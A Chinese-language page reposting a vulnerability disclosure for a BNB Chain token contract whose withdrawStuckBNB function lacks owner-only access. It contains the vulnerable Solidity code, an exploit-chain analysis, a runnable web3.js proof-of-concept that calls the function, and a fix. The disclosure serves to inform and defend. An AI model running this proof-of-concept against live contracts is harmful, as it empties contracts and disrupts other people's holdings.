大酷樂
  • 汽車
  • 理财
  • 軍事
  • 科技
  • 遊戲
  • 互聯網
  • 娛樂
  • 财經
  • 科學
  • 社會
  • 親子
  • 電影
  • 健康
  • 教育
  1. 首頁
  2. 互聯網

某合約任意提取BNB漏洞

2025-04-01 简体 HK SG TW

今天小編分享的互聯網經驗:某合約任意提取BNB漏洞,歡迎閲讀。

1、背景描述

合約是一個在滿足特定條件時在區塊鏈上執行代碼的程式,各方以數字籤署合同的方式準許并維護它的其運行。這些代碼可以是向朋友匯款、買賣 NFT 虛拟商品等一系列復雜的内容。

  存在漏洞的目标合約是一個結合 Meme 文化病毒式傳播與去中心化金融(DeFi)的創新項目,旨在通過趣味性和實用性打破傳統 Meme 代币的模式。

該合約的代币目前市值 1400K(USDT),日均交易量 150K(USDT)

2、問題描述

該合約 "withdrawStuckBNB" 函數沒有添加權限控制,攻擊者可以通過調用 "withdrawStuckBNB" 函數,将合約内所有 BNB 轉至營銷地址 "marketingAddress",從而導致合約交易異常。

 tips:

BNB 是 BNB 鏈生态系統的原生代币,該系統包含 BNB 智能鏈(BSC)和 BNB 信标鏈。在 BNB 智能鏈上,BNB 用于支付交易費用和參與網絡的共識機制。BNB 還被用作實用代币,使用户在 Binance 中心化加密貨币交易所進行交易時獲得交易費用的折扣。

BNB 在這個合約中的作用包括:作為交易對的配對貨币,用于支付交易手續費,流動性池的組成部分,以及手續費收入的分配媒介

3、問題代碼分析

```solidity

function   withdrawStuckBNB ( )   external   {     

bool   success;     

( success, )   =   address ( marketingAddress ) .call{value:   address ( this ) .balance} ( "" ) ;

}

```

在合約代碼裏面可以看到,`withdrawStuckBNB` 沒有添加 onlyOwner 修飾,只有 external 修飾

tips:

    Solidity 語法中有 4 中默認函數修飾符

    - public:最大訪問權限,任何人都可以調用。

    - private:只有合約内部可以調用,不可以被繼承。

    - internal:子合約可以繼承和調用。

    - external:外部可以調用,子合約可以繼承和調用,當前合約不可以調用。

onlyOwner 是該合約自定義一個修飾器,用于修飾函數,只有合約的所有者才能調用該函數。

這就意味着任何人都可以調用這個函數,将合約内所有 BNB 轉至營銷地址,導致資金被盜。

4、後續利用鏈分析

從問題代碼可知,任何人都可以調用這個函數,将合約内所有 BNB 轉至營銷地址 marketingAddress

查看 marketingAddress 的代碼,marketingAddress 是一個營銷地址,更新 marketingAddress 的代碼如下:

可以看到,updateMarketingAddress 函數存在 onlyOwner 修飾,只有 owner 可以調用這個函數,這就意味着只有 owner 可以更新 marketingAddress 的地址。所以利用鏈到此截止,攻擊者只能調用 withdrawStuckBNB 将合約内的 BNB 轉至 marketingAddress,但是 marketingAddress 本身只能由 owner 更新,所以攻擊者無法更新 marketingAddress 的地址,從而無法将 BNB 轉至攻擊者的地址,但是漏洞也能造成合約内 BNB 的清空,影響合約運行。

5、構造 POC

```javascriptconst Web3 = require ( 'web3' ) ;// // 初始化 Web3 實例,這裏使用測試網的地址,你可以根據實際情況修改 const web3 = new Web3 ( 'https://data-seed-prebsc-1-s1.binance.org:8545' ) ;// const web3 = new Web3 ( 'https://bsc-dataseed4.binance.org/' ) ;

const contractABI = [ """ 換成完整 ABI""" ] ;const contractAddress = "0xaaaaa"; // 替換為目标合約地址 const contract = new web3.eth.Contract ( contractABI, contractAddress ) ;console.log ( "connect success" ) ;

// 如果使用 Node.js,需要添加私鑰 const privateKey = '0xbbbbbbbbbbbbbb'; // 替換為你的私鑰 const account = web3.eth.accounts.privateKeyToAccount ( privateKey ) ;web3.eth.accounts.wallet.add ( account ) ;

async function withdrawBNB ( ) {     try{         console.log ( account.address ) ;         const tx = {             from: account.address, // 必須使用真實地址             to: contractAddress,             gas: 300000,             data: contract.methods.withdrawStuckBNB ( ) .encodeABI ( )         };

        // 估算 gas         const gas = await web3.eth.estimateGas ( tx ) ;         tx.gas = gas;

        // 獲取當前 gasPrice         const gasPrice = await web3.eth.getGasPrice ( ) ;         tx.gasPrice = gasPrice;

        // 籤名并發送交易(Node.js 方式)         const signedTx = await web3.eth.accounts.signTransaction ( tx, privateKey ) ;         const receipt = await web3.eth.sendSignedTransaction ( signedTx.rawTransaction ) ;

        console.log ( 'Transaction Hash:', receipt.transactionHash ) ;         console.log ( 'Receipt:', receipt ) ;     } catch ( error ) {         console.error ( "Error:", error ) ;     }     console.log ( "2" ) ;}

withdrawBNB ( ) ;console.log ( "3" ) ;```

6、修復方案

在 withdrawStuckBNB 函數中添加 onlyOwner 修飾,只允許 owner 可以調用這個函數

```solidity

function   withdrawStuckBNB ( )  

external   onlyOwner  

{     

( bool   success, )  

=   marketingAddress.call{value:   address ( this ) .balance} ( "" ) ;     

require ( success,

"Transfer   failed" ) ;

}```

   該漏洞目前已向相關部門和廠商報送并已推出補丁,使用此漏洞造成的任何攻擊影響均與本文作者無關。

原文鏈接

熱門排行
  • 王治郅:楊瀚森主要的問題是速度 他的速度跟不上現代籃球的節奏 王治郅:楊瀚森主要的問題是速度 他的速度跟 郟君昊 | 2025-05-05
  • 貿易戰燒進電影院:特朗普拟重税打擊外國電影 逼好萊塢等回美拍片 貿易戰燒進電影院:特朗普拟重税打擊外國電影 習又夏 | 2025-05-05
  • 貸款追高炒黃金的人後悔了!有人一天虧掉6年工資,賣掉舍不得,不賣扛不住 貸款追高炒黃金的人後悔了!有人一天虧掉6年 寸飛蘭 | 2025-05-05
  • 手機電池突破8000mAh?硅碳技術的回旋镖:「折壽」換容量 手機電池突破8000mAh?硅碳技術的回旋镖:「折 衛青柏 | 2025-05-05
  • 貸款追高炒黃金的人後悔了!有人一天虧掉6年工資,賣掉舍不得,不賣扛不住 貸款追高炒黃金的人後悔了!有人一天虧掉6年 繁綺文 | 2025-05-05
  • 任天堂對Genki提起Switch 2商标侵權訴訟,後者回應稱将嚴肅對待 任天堂對Genki提起Switch 2商标侵權訴訟,後 郜萌運 | 2025-05-05
  • 哪吒汽車APP和官網恢復正常 知情人士:之前斷網因流量欠費 哪吒汽車APP和官網恢復正常 知情人士:之前斷 袁曼雁 | 2025-05-05
  • 極越汽車 CEO 夏一平名下青島/義烏兩家公司被列入經營異常 極越汽車 CEO 夏一平名下青島/義烏兩家公司 集玲琳 | 2025-05-05
  • 全國經濟第一大省明确,推動組建農商聯合銀行 全國經濟第一大省明确,推動組建農商聯合銀行 佼昌翰 | 2025-05-05
  • 桑保利:亞馬爾有配合意識&有點像梅西 姆巴佩更專注進球&更像C羅 桑保利:亞馬爾有配合意識&有點像梅西 姆巴佩 甄正浩 | 2025-05-05
  • 高露現身上海虹橋機場 黑色外套點綴亮色愛心裝飾俏皮亮眼 高露現身上海虹橋機場 黑色外套點綴亮色愛 惠惠君 | 2023-05-02
  • 《歧路旅人2》:向光而生 《歧路旅人2》:向光而生 衛青柏 | 2023-05-02
  • vivo X90S曝光:處理器更新為天玑9200+ 安卓最強芯 vivo X90S曝光:處理器更新為天玑9200+ 安卓最 袁曼雁 | 2023-05-05
  • “懶癌”發病率上升,定期體檢别忽視 “懶癌”發病率上升,定期體檢别忽視 幸聽楓 | 2023-05-02
  • 宋慧喬獲百想視後 韓素希發圖手動加愛心表情慶祝 宋慧喬獲百想視後 韓素希發圖手動加愛心表 賁芳蕤 | 2023-05-02
  • 曹操墓,裏面都有啥? 曹操墓,裏面都有啥? 衛青柏 | 2023-05-02
  • 十年了,他們終于要HE! 十年了,他們終于要HE! 惠惠君 | 2023-05-07
  • 中央部署經濟工作,釋放5大信号 中央部署經濟工作,釋放5大信号 郜萌運 | 2023-05-02
  • 高德上線手機彎道會車預警功能 高德上線手機彎道會車預警功能 習又夏 | 2023-05-02
  • 陳自瑤抱病為愛女做蛋糕慶生,王浩信點贊沒露面 陳自瑤抱病為愛女做蛋糕慶生,王浩信點贊沒露 賁芳蕤 | 2023-05-02
  • 等比例長大的童星,李蘭迪算一個 等比例長大的童星,李蘭迪算一個 郟君昊 | 2023-05-02
  • 這些被抓來做實驗的流浪狗,最終拯救了無數糖尿病人 這些被抓來做實驗的流浪狗,最終拯救了無數糖 集玲琳 | 2023-05-02
  • 高端國產車:軍車血統,目前電動車越野的“天花板”? 高端國產車:軍車血統,目前電動車越野的“天花 謝飛揚 | 2023-05-02
  • 《雲襄傳》終于抬上來啦,男O女A讓人好上頭! 《雲襄傳》終于抬上來啦,男O女A讓人好上頭! 集玲琳 | 2023-05-02
  • 21家A股遊戲公司2022年收入651億 今年“遊戲+AI”能否逆風翻盤? 21家A股遊戲公司2022年收入651億 今年“遊 衛青柏 | 2023-05-04
  • 信用風險釋放趨緩,結構性風險需重點關注 ——2023年一季度債市信用風險回顧與下階段展望 信用風險釋放趨緩,結構性風險需重點關注 — 袁曼雁 | 2023-05-02
  • 與周立波夫婦鬧糾紛成老賴,唐爽被司法拘留15日 與周立波夫婦鬧糾紛成老賴,唐爽被司法拘留15 寸飛蘭 | 2023-05-05
  • 普京籤署總統令,批準對俄刑法典相關法條的修正案 普京籤署總統令,批準對俄刑法典相關法條的修 集玲琳 | 2023-05-02
  • 中銀證券給予南京銀行增持評級 中銀證券給予南京銀行增持評級 袁曼雁 | 2023-05-03
  • 解除資格!停止一切合作 解除資格!停止一切合作 佼昌翰 | 2023-05-02
  • 3699起 聯想小新mini主機上架 13代酷睿标壓處理器 3699起 聯想小新mini主機上架 13代酷睿标壓 習又夏 | 2023-05-05
  • 前董事長被免,天山生物全面進入“中植系”時代?股價曾在一月内暴漲超400% 前董事長被免,天山生物全面進入“中植系”時 惠惠君 | 2023-05-02
  • 瘋成這樣,怎麼還能被全網吹捧? 瘋成這樣,怎麼還能被全網吹捧? 郜萌運 | 2023-05-02
  • 狂吼11次“讓一下”!交警咆哮開道嘶吼到吐 狂吼11次“讓一下”!交警咆哮開道嘶吼到吐 寸飛蘭 | 2023-05-03
  • 摩根大通收購美國第一共和銀行 摩根大通收購美國第一共和銀行 謝飛揚 | 2023-05-02
  • 台劇赢麻了,又來一部8.9 台劇赢麻了,又來一部8.9 衛青柏 | 2023-05-02
  • 事關農村土地承包和農民權益,《農村土地承包合同管理辦法》5月1日起施行 事關農村土地承包和農民權益,《農村土地承包 郟君昊 | 2023-05-02
  • 下降45分,上漲35分!34所自劃線院校復試分數線漲幅匯總 下降45分,上漲35分!34所自劃線院校復試分數線 袁曼雁 | 2023-05-07
  • "三高"已盯上青少年,做好這件事是關鍵 "三高"已盯上青少年,做好這件事是關鍵 習又夏 | 2023-05-05
  • 五一檔沒一個能打的 五一檔沒一個能打的 集玲琳 | 2023-05-05
  • 恐怖韓劇下神壇,這次膽小可入 恐怖韓劇下神壇,這次膽小可入 袁曼雁 | 2023-05-05
  • 這劇是不是用ChatGPT寫的呀? 這劇是不是用ChatGPT寫的呀? 惠惠君 | 2023-05-02
  • 200户連夜疏散,原因讓人憤怒!“損失超一億”,官方通報 200户連夜疏散,原因讓人憤怒!“損失超一億”, 袁曼雁 | 2023-05-03
  • 性騷擾慣犯,滾出娛樂圈 性騷擾慣犯,滾出娛樂圈 謝飛揚 | 2023-05-05
  • 48歲何炅自曝已老花眼,黃磊睡前認老,《向往的生活》證實将停辦 48歲何炅自曝已老花眼,黃磊睡前認老,《向往的 佼昌翰 | 2023-05-02
  • 一個《長月燼明》倒了,《狐妖》《長相思》《與鳳行》…在路上了 一個《長月燼明》倒了,《狐妖》《長相思》《 惠惠君 | 2023-05-02
  • 張天愛假期曬“酷”存照 卷發披肩穿黑色吊帶裙大秀好身材 張天愛假期曬“酷”存照 卷發披肩穿黑色吊 嬴覓晴 | 2023-05-02
  • 當年輕人開始不随份子錢 當年輕人開始不随份子錢 袁曼雁 | 2023-05-02
  • 畢滢用8年時間成功逼宮?曾被傳已婚生子的她,不容小觑 畢滢用8年時間成功逼宮?曾被傳已婚生子的她, 幸聽楓 | 2023-05-03
  • 宋慧喬獲視後首次曬照,拿獎杯笑容温柔 宋慧喬獲視後首次曬照,拿獎杯笑容温柔 郜萌運 | 2023-05-02

©2022 大酷樂 版權所有

隱私政策 | 服務條款 | 聯繫我們